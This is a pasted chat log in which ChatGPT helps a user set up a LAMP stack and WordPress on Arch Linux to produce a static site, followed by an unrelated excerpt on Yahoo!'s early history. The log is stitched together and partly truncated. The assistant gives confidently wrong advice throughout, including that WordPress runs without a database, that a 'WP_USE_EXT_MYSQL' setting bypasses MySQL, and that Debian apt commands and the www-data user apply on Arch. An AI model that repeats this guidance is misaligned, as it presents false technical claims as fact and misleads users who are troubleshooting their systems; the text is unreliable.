`sudo systemctl start httpd sudo systemctl enable httpd sudo systemctl start mariadb sudo systemctl enable mariadb`

This will give you a LAMP stack without needing 32-bit libraries. However, if you're comfortable with XAMPP, the first solution should work well for your case.

Let me know if you need more help with any of the steps!

You said:

warning: config file /etc/pacman.d/mirrorlist, line 30: directive 'Server' in section 'options' not recognized. error: target not found: lib32-gtk2 error: target not found: lib32-libx11 error: target not found: lib32-alsa-lib

ChatGPT said:

It seems you're running into some issues with the mirrorlist configuration and 32-bit library installation on your Arch system.

Let's break it down and address each issue:

1. Fixing the mirrorlist Warning

The warning you see:

pgsql

Copy

warning: config file /etc/pacman.d/mirrorlist, line 30: directive 'Server' in section 'options' not recognized.

is related to a misconfiguration in your mirrorlist file. Specifically, there is an invalid directive (Server) in the [options] section.

To resolve this:

  1. Open the /etc/pacman.d/mirrorlist file in a text editor:
bash

Copy

`sudo nano /etc/pacman.d/mirrorlist`
  1. Go to line 30 and check for the Server directive in the [options] section. Remove it if present. The [options] section should look like:
bash

Copy

`# The server entry must not contain any other entries. # See pacman.conf(5) for more information. # No need to configure mirrors here`
  1. Save and close the file (Ctrl + X, then press Y to confirm).

Now, run an update again:

bash

Copy

sudo pacman -Syu

2. Fixing the 32-bit Library Issue

It appears the lib32 packages are not found. On Arch Linux, the lib32 libraries are provided via the multilib repository. Here's how to address this issue:

Step 1: Enable the Multilib Repository

To ensure the multilib repository is enabled, follow these steps:

  1. Open the /etc/pacman.conf file:
bash

Copy

`sudo nano /etc/pacman.conf`
  1. Ensure that the multilib section is correctly enabled. It should look like this:
bash

Copy

`[multilib] Include = /etc/pacman.d/mirrorlist`
  1. Save and exit the file (Ctrl + XY to confirm).

  2. Update the package database:

bash

Copy

`sudo pacman -Syy`

Step 2: Install 32-bit Libraries

Now you should be able to install the 32-bit libraries:

  1. Install 32-bit compatibility libraries:
bash

Copy

`sudo pacman -S lib32-glibc`
  1. Install other necessary libraries for XAMPP:
bash

Copy

`sudo pacman -S lib32-gtk2 lib32-libx11 lib32-alsa-lib`

If lib32-gtk2lib32-libx11, and lib32-alsa-lib are still not available, try searching for them manually using:

bash

Copy

sudo pacman -Ss lib32

This will list all available 32-bit libraries in the repository. You may need to install a slightly different set of libraries depending on what is available.

3. Alternative Approach: Using a 64-bit LAMP Stack

If you continue facing issues with XAMPP and the compatibility libraries, I recommend considering using a 64-bit native LAMP stack instead, as described in my earlier message.

If you want to proceed with that, let me know, and I can guide you through setting up ApacheMySQL, and PHP on your Arch Linux system.


Let me know how it goes, and if you're still facing issues, I'll be happy to help further!

You said:

/etc/httpd/conf/httpd.conf what am i to edit this file and then start the lamp stack

ChatGPT said:

To configure a LAMP (Linux, Apache, MySQL, PHP) stack on your Arch Linux system, you’ll need to modify the Apache configuration file (/etc/httpd/conf/httpd.conf) so that it can work with PHP. This step is essential for ensuring Apache can interpret PHP files when you visit your site.

  1. Install WordPress (Optional)
- Download WordPress:
    
    bash
    
    Copy
    
    `wget https://wordpress.org/latest.tar.gz`
    
- Extract the files:
    
    bash
    
    Copy
    
    `tar -xvzf latest.tar.gz`
    
- Move the WordPress files to your Apache web root directory:
    
    bash
    
    Copy
    
    `sudo mv wordpress/* /srv/http/`
    
- Set correct permissions:
    
    bash
    
    Copy
    
    `sudo chown -R http:http /srv/http/`
more assistance, feel free to reach out!
You said:

the info.php is not dispplayin...how do i trobleshoot or configuree http to use this directory /srv

ChatGPT said:

If your info.php file is not displaying, it suggests that Apache may not be configured correctly to serve PHP files or that it's not correctly pointing to the directory where the info.php file is located. Let's go through a series of troubleshooting steps and configurations to ensure Apache is set up correctly to serve your PHP file.

You said:

okaay that worked...how do i set up wordpress for local static website generaator

ChatGPT said:

Great to hear that the issue was resolved! Now, to set up WordPress as a local static website generator, you can use WordPress to create your website locally, and then export it as a static site. Here's how to do that step by step:

Step 1: Install WordPress Locally

Now that Apache and PHP are running, you can proceed with installing WordPress on your local server.

  1. Download WordPress: Download the latest WordPress version from WordPress.org.
Alternatively, you can download it directly using `wget`:

bash

Copy

`wget https://wordpress.org/latest.tar.gz`
  1. Extract WordPress: Extract the downloaded archive:
bash

Copy

`tar -xzvf latest.tar.gz`
  1. Move WordPress Files to Your Web Directory: Move the extracted files to your Apache server's document root (/srv/http or /var/www/html, depending on your setup):
bash

Copy

`sudo mv wordpress/* /srv/http/`

Or for `/var/www/html`:

bash

Copy

`sudo mv wordpress/* /var/www/html/`
  1. Set Permissions: Set the correct file permissions for the WordPress directory:
bash

Copy

`sudo chown -R apache:apache /srv/http/`

Or:

bash

Copy

`sudo chown -R apache:apache /var/www/html/`

Step 2: Set Up MySQL Database for WordPress

WordPress requires a MySQL database to store its content. You'll need to set up a MySQL database locally for WordPress.

  1. Start MySQL (if not already running):
bash

Copy

`sudo systemctl start mysqld`
  1. Create the WordPress Database:
Log in to MySQL:

bash

Copy

`sudo mysql -u root -p`

Create a new WordPress database and user:

sql

Copy

`CREATE DATABASE wordpress; CREATE USER 'wp_user'@'localhost' IDENTIFIED BY 'password'; GRANT ALL PRIVILEGES ON wordpress.* TO 'wp_user'@'localhost'; FLUSH PRIVILEGES; EXIT;`

Replace `'wp_user'` and `'password'` with your preferred username and password.

Step 3: Configure WordPress

  1. Visit the Local WordPress Installation:
In your browser, go to:

arduino

Copy

`http://localhost/`
  1. WordPress Setup:
- Select your language.
- Enter the database information (from the MySQL setup step):
    - **Database Name**: `wordpress`
    - **Username**: `wp_user`
    - **Password**: the password you set earlier
    - **Database Host**: `localhost`
- Complete the WordPress installation.

Step 4: Install and Configure Plugins to Generate Static Site

To convert your WordPress site into a static site (so it can be hosted on GitHub Pages or anywhere else), you'll need to use a plugin.

  1. Install Static Site Generator Plugin: One popular plugin for converting WordPress sites to static HTML is Simply Static.
- Go to **WordPress Admin Panel** → **Plugins** → **Add New**.
- Search for **Simply Static** and click **Install Now**.
- Activate the plugin.
  1. Configure Simply Static Plugin:
- Go to **Simply Static** settings from the WordPress Admin menu.
- Set the **Destination** folder (where the static files will be saved) to a directory like `/srv/http/static` (or your equivalent path).
- Choose the desired options for how you'd like the static site to be generated (you can configure the plugin to include or exclude certain content).
  1. Generate the Static Site:
- Once you've configured Simply Static, click **Generate** to create the static version of your site.
- The plugin will generate a static HTML version of your site in the directory you specified.

Step 5: Upload Static Site to GitHub Pages

  1. Create a GitHub Repository:
- Create a new repository on GitHub (e.g., `my-static-site`).
  1. Upload the Static Files:
- Navigate to the folder where your static site was generated.
    
- Initialize a new Git repository in that folder:
    
    bash
    
    Copy
    
    `cd /srv/http/static git init`
    
- Add your files to the repository:
    
    bash
    
    Copy
    
    `git add .`
    
- Commit the changes:
    
    bash
    
    Copy
    
    `git commit -m "Initial static site commit"`
    
- Link to your GitHub repository:
    
    bash
    
    Copy
    
    `git remote add origin https://github.com/yourusername/my-static-site.git`
    
- Push the files to GitHub:
    
    bash
    
    Copy
    
    `git push -u origin master`
  1. Enable GitHub Pages:
- Go to your GitHub repository settings.
- Under **GitHub Pages**, choose the `master` branch (or `main` if using newer naming conventions).
- Your static website will now be hosted at `https://yourusername.github.io/my-static-site`.

Step 6: Update Content and Re-generate Static Site

Whenever you make changes to your WordPress site, you'll need to regenerate the static site using Simply Static and push the changes to your GitHub repository.


By following these steps, you'll be able to create a local WordPress website, convert it into a static website using a plugin, and host it on GitHub Pages.

You said:

Your PHP installation appears to be missing the MySQL extension which is required by WordPress. Please check that the mysqli PHP extension is installed and enabled. If you are unsure what these terms mean you should probably contact your host. If you still need help you can always visit the WordPress support forums.SINCE I WILL BE BUILDING A STATIC WEBSITE DO I REALLY NEED AA DATABASE COZ I WAANT TO SKIP THIS STEP

ChatGPT said:

Since you're aiming to build a static website using WordPress, you don't need to worry about the database setup. A static site means you don't have to rely on a backend like MySQL to store content — everything is converted into static HTML, CSS, and JavaScript.

Skip the Database Setup

If you're using WordPress just to build the static site and don't intend to use dynamic features like post submissions, comments, or user logins, you can skip the database setup entirely. Here's how to proceed:

  1. Install WordPress Locally: You can still install WordPress locally for ease of use, but during the installation process, do not set up the database. You will use a plugin to convert the content into static files.

  2. Install WordPress Plugins to Generate a Static Site: Once WordPress is installed, you will generate a static version of your site using a plugin like Simply Static. This will create static HTML files of your WordPress site, and you won’t need a database.

How to Skip the Database During WordPress Installation

  1. Download and Extract WordPress: Follow the steps to download and extract WordPress on your local server (as mentioned before).

  2. Edit the wp-config.php: Open the wp-config.php file in the WordPress directory and configure it to skip the database connection:

- Open `wp-config.php`:
    
    bash
    
    Copy
    
    `sudo nano /srv/http/wp-config.php`
    
- Add the following lines to disable the database connection:
    
    php
    
    Copy
    
    `define('DB_NAME', 'none'); define('DB_USER', 'none'); define('DB_PASSWORD', 'none'); define('DB_HOST', 'none');`
    

This tells WordPress to bypass database setup.
  1. Continue the Installation: After editing wp-config.php, visit the WordPress installation page (http://localhost/) and complete the setup. WordPress may show warnings about the database, but you can ignore them because you're not planning to use the database.

  2. Install Simply Static Plugin: Once WordPress is set up, install the Simply Static plugin to generate the static HTML files.

- Go to **Plugins → Add New**.
- Search for **Simply Static** and install it.
- Activate the plugin.
  1. Generate Static Files:
- After activating the plugin, go to **Simply Static → Settings**.
- Choose your settings and select the folder where the static files should be generated (e.g., `/srv/http/static`).
- Click **Generate** to create the static files.

Push to GitHub Pages

Once the static files are generated, you can upload them to GitHub Pages as described in the previous steps. The static files (HTML, CSS, and JS) will be what’s served on GitHub Pages, so you won't need a database.


Summary:

You do not need a MySQL database if you're generating a static website with WordPress. Just skip the database setup by editing the wp-config.php file to prevent WordPress from trying to connect to a database. Then, use a plugin like Simply Static to export your content into static files, which you can upload to GitHub Pages.

Let me know if you need further clarification!

You said:

define('DB_NAME', 'none'); define('DB_USER', 'none'); define('DB_PASSWORD', 'none'); define('DB_HOST', 'none'); am being brought to a page with this content....do i have to explicitly setup the database with these credentals

ChatGPT said:

When you add the following lines to wp-config.php:

php

Copy

define('DB_NAME', 'none'); define('DB_USER', 'none'); define('DB_PASSWORD', 'none'); define('DB_HOST', 'none');

WordPress will try to establish a database connection using the values provided. However, since those values aren't valid, WordPress will fail to connect to a database and display a page with a database connection error message.

How to Bypass the Database Setup

If you're trying to completely bypass the database setup because you're only interested in generating a static site and won't use dynamic WordPress features (like posts or user comments), you can do the following to avoid the database connection attempt altogether:

Solution: Disable the Database Connection Check

  1. Bypass the Database Check: The goal is to prevent WordPress from attempting any database interaction while you use it as a static website generator. To do that, follow these steps:

A. Modify the wp-config.php File

  1. Open the wp-config.php file in your WordPress installation:
bash

Copy

`sudo nano /srv/http/wp-config.php`
  1. In the wp-config.php file, find the section that defines the database connection. You can add a simple line to skip WordPress's database check.
**Add the following line to the top** of the file, just after the opening PHP tag:

php

Copy

`define('WP_USE_EXT_MYSQL', false);`

This tells WordPress to avoid trying to use MySQL at all.

B. Skip the Database Setup Completely

If you're still being prompted to "Set up the database" after this step, it means WordPress is still trying to use the database connection despite the WP_USE_EXT_MYSQL line. To completely bypass the setup page, follow these additional steps:

  1. Create an empty database (just so WordPress doesn’t complain about missing database tables):
- You can create an empty database (just so WordPress has something to refer to) using MySQL/MariaDB:
    
    bash
    
    Copy
    
    `sudo mysql -u root -p`
    
- Inside MySQL, create a database:
    
    sql
    
    Copy
    
    `CREATE DATABASE wordpress;`
    
    You don't need to create any tables or add any data; WordPress just needs the database to avoid errors.
  1. Edit wp-config.php Again:
- Modify the `wp-config.php` file so that WordPress doesn’t try to connect to it. Use this placeholder configuration:
    
    php
    
    Copy
    
    `define('DB_NAME', 'wordpress');    // Placeholder database name define('DB_USER', 'root');         // Placeholder username define('DB_PASSWORD', '');         // No password define('DB_HOST', 'localhost');    // Localhost`
    

This **should allow WordPress to continue** without attempting to interact with a real database or requiring a user setup process.

Conclusion

By editing wp-config.php with the WP_USE_EXT_MYSQL setting and creating a placeholder database, you allow WordPress to bypass the usual database setup process. WordPress will still run and allow you to use it to generate static content, but without the need for a working database.

Let me know if you need more help with the process!

You said:

i have successfully created the cocket at socket=/run/mysqld/mysqld.sock ......how do i procedd from her to acces my wordpress site

ChatGPT said:

Great! Now that you've successfully configured the socket, let's proceed with the steps to access your WordPress site locally.

1. Check MariaDB/MySQL Connection

Now that the socket issue is resolved, first confirm that MariaDB is running properly and can be accessed.

Run the following command to check the MariaDB status:

bash

Copy

sudo systemctl status mariadb

Then try to log into MariaDB (using mariadb instead of mysql):

bash

Copy

mariadb -u root

If successful, you should be able to see the MariaDB prompt.

2. Create a Database for WordPress (if needed)

If you haven't already created a database for WordPress, you can do so now. Once inside the MariaDB prompt, create a database and a user for WordPress.

sql

Copy

CREATE DATABASE wordpress; CREATE USER 'wp_user'@'localhost' IDENTIFIED BY 'your_password'; GRANT ALL PRIVILEGES ON wordpress.* TO 'wp_user'@'localhost'; FLUSH PRIVILEGES; EXIT;

Make sure to replace 'your_password' with a strong password.

3. Edit wp-config.php for Database Connection

Now, you'll need to edit the WordPress configuration file wp-config.php to point to the database you just created.

Open the wp-config.php file located in the root of your WordPress installation:

bash

Copy

nano /var/www/html/wordpress/wp-config.php

Find and update these lines to match your MariaDB settings:

php

Copy

/** The name of the database for WordPress */ define( 'DB_NAME', 'wordpress' ); /** MySQL database username */ define( 'DB_USER', 'wp_user' ); /** MySQL database password */ define( 'DB_PASSWORD', 'your_password' ); /** MySQL hostname */ define( 'DB_HOST', 'localhost' );

4. Make Sure Apache and PHP Are Installed

Make sure that you have Apache and PHP installed to serve the WordPress site. Check if Apache is running:

bash

Copy

sudo systemctl status apache2

If it’s not installed, you can install it with:

bash

Copy

sudo apt install apache2 php php-mysqli libapache2-mod-php

Additionally, make sure you have PHP extensions installed for WordPress (like mysqligd, and curl):

bash

Copy

sudo apt install php-mysqli php-gd php-curl php-xml php-mbstring

Restart Apache after installing:

bash

Copy

sudo systemctl restart apache2

5. Place WordPress Files in Web Directory

If you haven't already done so, make sure the WordPress files are located in your web root directory (/var/www/html).

If they aren't there, move the files to the correct location:

bash

Copy

sudo mv /path/to/wordpress/* /var/www/html/

Ensure the correct file permissions:

bash

Copy

sudo chown -R www-data:www-data /var/www/html/ sudo chmod -R 755 /var/www/html/

6. Access WordPress in Browser

At this point, your WordPress site should be accessible via your web browser.

  1. Open a web browser and go to http://localhost or http://127.0.0.1.
  2. You should see the WordPress setup page.
  3. Follow the setup wizard to finish configuring WordPress, including providing the database details (DB_NAME, DB_USER, DB_PASSWORD, DB_HOST) when prompted.

7. (Optional) Set up Apache Virtual Hosts

If you want to use a custom domain (like http://wordpress.local), you can configure Apache virtual hosts. Edit the Apache configuration:

bash

Copy

sudo nano /etc/apache2/sites-available/wordpress.local.conf

Add this configuration (adjust if needed):

apache

Copy

<VirtualHost *:80> ServerAdmin webmaster@localhost DocumentRoot /var/www/html ServerName wordpress.local ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined </VirtualHost>

Enable the site and restart Apache:

bash

Copy

sudo a2ensite wordpress.local.conf sudo systemctl restart apache2

To make the domain work, you’ll need to add 127.0.0.1 wordpress.local to your /etc/hosts file:

bash

Copy

sudo nano /etc/hosts

Add the line:

lua

Copy

127.0.0.1 wordpress.local

Now, you should be able to visit http://wordpress.local in your browser.

Conclusion

With these steps, you should have WordPress up and running locally without requiring the MySQL extension or a live database. The next step is to complete the WordPress installation by following the wizard to set up your site.

Let me know if you encounter any issues!

You said:

define('DB_NAME', 'wordpress'); define('DB_USER', 'wpuser'); define('DB_PASSWORD', 'password'); define('DB_HOST', 'localhost'); AND AM USINH /SRV/HTTP REMEBER THIS PLAESE

ChatGPT said:

Got it! Since you're using /srv/http as the root directory for your web server, you'll need to adjust a few things accordingly. Let's go over the steps with this specific setup.

1. Update wp-config.php

Open your wp-config.php file in the WordPress installation directory (/srv/http/wordpress):

bash

Copy

sudo nano /srv/http/wordpress/wp-config.php

Make sure the database connection details in wp-config.php are set to:

php

Copy

/** The name of the database for WordPress */ define( 'DB_NAME', 'wordpress' ); /** MySQL database username */ define( 'DB_USER', 'wpuser' ); /** MySQL database password */ define( 'DB_PASSWORD', 'password' ); /** MySQL hostname */ define( 'DB_HOST', 'localhost' );

2. Make Sure WordPress Files Are in /srv/http

Ensure that your WordPress files are actually located in /srv/http. You can do this by checking the directory:

bash

Copy

ls /srv/http/wordpress

If the files are not there yet, move them to the correct directory:

bash

Copy

sudo mv /path/to/wordpress/* /srv/http/wordpress/

3. Set Correct Permissions for WordPress Directory

Make sure the correct permissions are set for your WordPress directory (/srv/http), so the web server can access and modify the files as needed. Run the following:

bash

Copy

sudo chown -R www-data:www-data /srv/http/wordpress sudo chmod -R 755 /srv/http/wordpress

4. Check Apache Configuration

You mentioned using /srv/http, so you need to ensure that Apache is correctly configured to serve files from /srv/http.

Edit Apache Configuration (If Required)

Check the Apache configuration file (/etc/httpd/conf/httpd.conf or /etc/apache2/sites-available/000-default.conf, depending on your system) and ensure the DocumentRoot is set to /srv/http:

bash

Copy

sudo nano /etc/httpd/conf/httpd.conf

or

bash

Copy

sudo nano /etc/apache2/sites-available/000-default.conf

Ensure that DocumentRoot points to /srv/http/wordpress:

apache

Copy

DocumentRoot /srv/http/wordpress

If you make any changes, restart Apache:

bash

Copy

sudo systemctl restart apache2

5. Enable and Start Apache and MariaDB (if not already done)

To ensure Apache and MariaDB are running, use the following commands:

bash

Copy

sudo systemctl start apache2 sudo systemctl start mariadb

Make sure they are enabled at boot:

bash

Copy

sudo systemctl enable apache2 sudo systemctl enable mariadb

6. Check Database Connection

To check if you can connect to the MariaDB database, try to log in to MariaDB as the root user:

bash

Copy

mariadb -u root

Then create the database and user if needed:

sql

Copy

CREATE DATABASE wordpress; CREATE USER 'wpuser'@'localhost' IDENTIFIED BY 'password'; GRANT ALL PRIVILEGES ON wordpress.* TO 'wpuser'@'localhost'; FLUSH PRIVILEGES; EXIT;

7. Access WordPress in Browser

Finally, you should be able to access WordPress in your browser by visiting http://localhost/wordpress or http://127.0.0.1/wordpress. If you configured a custom domain like wordpress.local, use that.

Conclusion

By following these steps, you should be able to run WordPress locally from /srv/http and connect it to the MariaDB database. If you encounter any issues, feel free to reach out!

You said:

root@Archie ~ # ls /srv/http/ index.php wp-blog-header.php wp-includes wp-signup.php info.php wp-comments-post.php wp-links-opml.php wp-trackback.php license.txt wp-config.php wp-load.php xmlrpc.php readme.html wp-config-sample.php wp-login.php wp-activate.php wp-content wp-mail.php wp-admin wp-cron.php wp-settings.php

ChatGPT said:

It looks like your WordPress files are correctly placed under /srv/http/, which is great!

Now that the WordPress files are in place, let's make sure everything is properly set up so you can access your site locally.

Steps to Follow Next:

  1. Check Apache Configuration:
- Make sure that your Apache configuration is pointing to `/srv/http` as the document root. You need to verify the Apache configuration as described earlier:

Edit the Apache config file:

bash

Copy

`sudo nano /etc/httpd/conf/httpd.conf`

Ensure the following line is set:

apache

Copy

`DocumentRoot "/srv/http"`

If it is already set, make sure to also adjust the `<Directory>` directive to match:

apache

Copy

`<Directory "/srv/http">     AllowOverride All     Require all granted </Directory>`
  1. Enable .htaccess: WordPress uses .htaccess files for things like permalinks, so you need to ensure that .htaccess files are allowed to override settings. If you added the line for AllowOverride All in the previous step, then it should be good to go.

  2. Restart Apache: After updating the Apache config file, restart Apache to apply the changes:

bash

Copy

`sudo systemctl restart apache2`
  1. Verify MySQL/MariaDB Connection: Ensure that your database is created and accessible. If you haven't already created the database, do so with these commands:
bash

Copy

`mariadb -u root`

Inside the MariaDB shell, create the database and user:

sql

Copy

`CREATE DATABASE wordpress; CREATE USER 'wpuser'@'localhost' IDENTIFIED BY 'password'; GRANT ALL PRIVILEGES ON wordpress.* TO 'wpuser'@'localhost'; FLUSH PRIVILEGES; EXIT;`

If the database and user are already created, you can skip this step.
  1. Check wp-config.php: Double-check your wp-config.php file to ensure the correct database credentials are there:
php

Copy

`/** The name of the database for WordPress */ define( 'DB_NAME', 'wordpress' );  /** MySQL database username */ define( 'DB_USER', 'wpuser' );  /** MySQL database password */ define( 'DB_PASSWORD', 'password' );  /** MySQL hostname */ define( 'DB_HOST', 'localhost' );`
  1. Access WordPress in Browser: Open your web browser and visit:
arduino

Copy

`http://localhost/wordpress`

If you're not redirected to the WordPress installation page, it might be an issue with the `.htaccess` file. In that case, you can try clearing your browser cache or ensuring that `.htaccess` is configured correctly.

Final Check:

If everything is set up correctly, you should now see the WordPress setup page, where you can finish the installation process by selecting a language and setting up the admin account.

Let me know if you run into any issues during these steps!

You said:

define('DB_NAME', 'wordpress'); define('DB_USER', 'wpuser'); define('DB_PASSWORD', 'password'); define('DB_HOST', 'localhost');Object not found! The requested URL was not found on this server. If you entered the URL manually please check your spelling and try again. If you think this is a server error, please contact the webmaster. Error 404 localhost Apache/2.4.62 (Unix) PHP/8.4.3

ChatGPT said:

It seems like you're encountering a 404 error, meaning that Apache can't find the requested WordPress page. Let's troubleshoot this step-by-step.

Things to Check:

  1. Verify WordPress Directory Location: Ensure your WordPress files are indeed in the /srv/http/ directory. From your previous output, it looks like they are, but let's confirm.
Run the following command to list the files in `/srv/http/`:

bash

Copy

`ls /srv/http/`

The list should include files like `index.php`, `wp-config.php`, `wp-content/`, etc. If they're missing, then WordPress might not be installed correctly in that directory.
  1. Check Apache Configuration: Double-check the Apache configuration to ensure the DocumentRoot is pointing to /srv/http/. Run:
bash

Copy

`sudo nano /etc/httpd/conf/httpd.conf`

Ensure the `DocumentRoot` is set correctly:

apache

Copy

`DocumentRoot "/srv/http"`

And the `<Directory>` directive should be:

apache

Copy

`<Directory "/srv/http">     AllowOverride All     Require all granted </Directory>`

After making any changes, restart Apache to apply the configuration:

bash

Copy

`sudo systemctl restart httpd`
  1. Check for Index File: Apache is looking for an index file by default (like index.php or index.html). Make sure that index.php exists in /srv/http/ and is not renamed or missing.
If you see `index.php` in `/srv/http/` already, this is good.
  1. Ensure .htaccess Exists and is Configured: WordPress uses .htaccess to handle things like pretty permalinks. Ensure that .htaccess is in place and properly configured.
If the file is missing, you can create it in the `/srv/http/` directory. Create a new file called `.htaccess` and add this content:

apache

Copy

`# BEGIN WordPress <IfModule mod_rewrite.c>     RewriteEngine On     RewriteBase /     RewriteRule ^index\.php$ - [L]     RewriteCond %{REQUEST_FILENAME} !-f     RewriteCond %{REQUEST_FILENAME} !-d     RewriteRule . /index.php [L] </IfModule> # END WordPress`

After that, restart Apache:

bash

Copy

`sudo systemctl restart httpd`
  1. Ensure Apache Has Proper Permissions: Ensure that Apache has permission to access the WordPress directory and files. You can adjust permissions with:
bash

Copy

`sudo chown -R apache:apache /srv/http/ sudo chmod -R 755 /srv/http/`
  1. Access WordPress: After following these steps, open your web browser and try accessing the WordPress site again by going to:
arduino

Copy

`http://localhost`

If You Still See the 404 Error:

  • Clear your browser cache and refresh the page.
  • Try accessing the WordPress site via http://localhost/wordpress if your WordPress files are within a subfolder like wordpress.

Let me know how this goes!

Yahoo

Do you Yahoo!?

If you connect to the Internet, chances are that you do. Yahoo! is the most popular site on the Internet. More people visit Yahoo! every day than visit America Online or Google or Amazon.com or eBay or any other Internet destination. With more than 237 million users in 25 different countries (and 13 different languages), Yahoo! is visited by more than two-thirds of all Internet users at least once a month. It’s fair to assume that you’re one of those 237 million users, and that you use Yahoo! to find other sites on the Web. But do you know everything you can do at Yahoo!? Do you know all about Yahoo! services, including free e-mail and online shopping and personal ads and stock quotes and TV schedules and travel reservations and interactive games and downloadable music radio and real-time chat and instant messaging and... well, do you?

Yahoo! At a Glance

You know, it’s hard to believe that Yahoo! is ten years old. It was back in January of 1994 that Stanford University PhD students David Filo and Jerry Yang started keeping track of their favorite sites on the Web, collecting and classifying hundreds and then thousands of different Web pages. As their little hobby grew more time-consuming, Filo and Yang created a custom database to house their Web links, and they made the database available for free on the Web. They named the database Yahoo! (an acronym for Yet Another Hierarchical Officious Oracle) and, after about a year, moved their site from the overloaded Stanford servers to the larger-capacity servers of Netscape Communications Corporation. In the spring of 1995, Yang and Filo began to realize the commercial appeal of their increasingly popular site; they accepted some venture capital and turned Yahoo! into a full-time business. Of course, the Yahoo! of today is a far cry from the database that resided on Filo and Yang’s personal workstations at Stanford. Yahoo! has expanded well beyond a simple Web directory (even though most Yahoo! visitors still use the site primarily for searching). Today, Yahoo! is a fullfledged Web portal, a site that not only guides you to content across the Internet, but also contains its own proprietary content and services—everything from stock quotes to online auctions to interactive chat to free e-mail. Just about everything you want to do with Yahoo! can be accessed from the Yahoo! home page (www.yahoo.com). You can use the home page to click through to other Yahoo! sites and services, as well as search or browse through the Yahoo! directory.